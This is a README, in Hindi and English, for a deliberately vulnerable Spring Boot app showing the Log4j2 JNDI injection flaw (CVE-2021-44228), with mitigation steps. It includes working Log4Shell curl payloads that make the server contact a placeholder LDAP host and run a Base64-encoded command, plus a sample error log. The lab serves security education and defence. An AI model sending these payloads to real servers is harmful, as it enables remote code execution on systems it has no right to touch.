
कमजोर Spring Boot वेब एप्लिकेशन जो Log4j2 JNDI इंजेक्शन (CVE-2021-44228) प्रदर्शित करता है, जिसमें शोषण चरण और सुरक्षा परीक्षण और शिक्षा के लिए शमन मार्गदर्शन शामिल है।
यह एप्लिकेशन Spring Boot वेब एप्लिकेशन पर आधारित है जो CVE-2021-44228 के प्रति संवेदनशील है
यह Log4j 2.14.1 का उपयोग करता है (spring-boot-starter-log4j2 2.6.1 के माध्यम से)।

इसे चलाएँ:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'
021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]
Caused by: java.net.UnknownHostException: your-private-ip

एप्लिकेशन का त्वरित हॉट फिक्स -> 2.10 से अधिक या बराबर रिलीज़ में, इस व्यवहार को सिस्टम प्रॉपर्टी log4j2.formatMsgNoLookups या पर्यावरण चर LOG4J_FORMAT_MSG_NO_LOOKUPS को true पर सेट करके कम किया जा सकता है। 2.0-beta9 से 2.10.0 तक की रिलीज़ के लिए, JndiLookup क्लास को classpath से हटाना है: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class।
एप्लिकेशन में log4j 2.15.0 में अपग्रेड करें और डिप्लॉय करें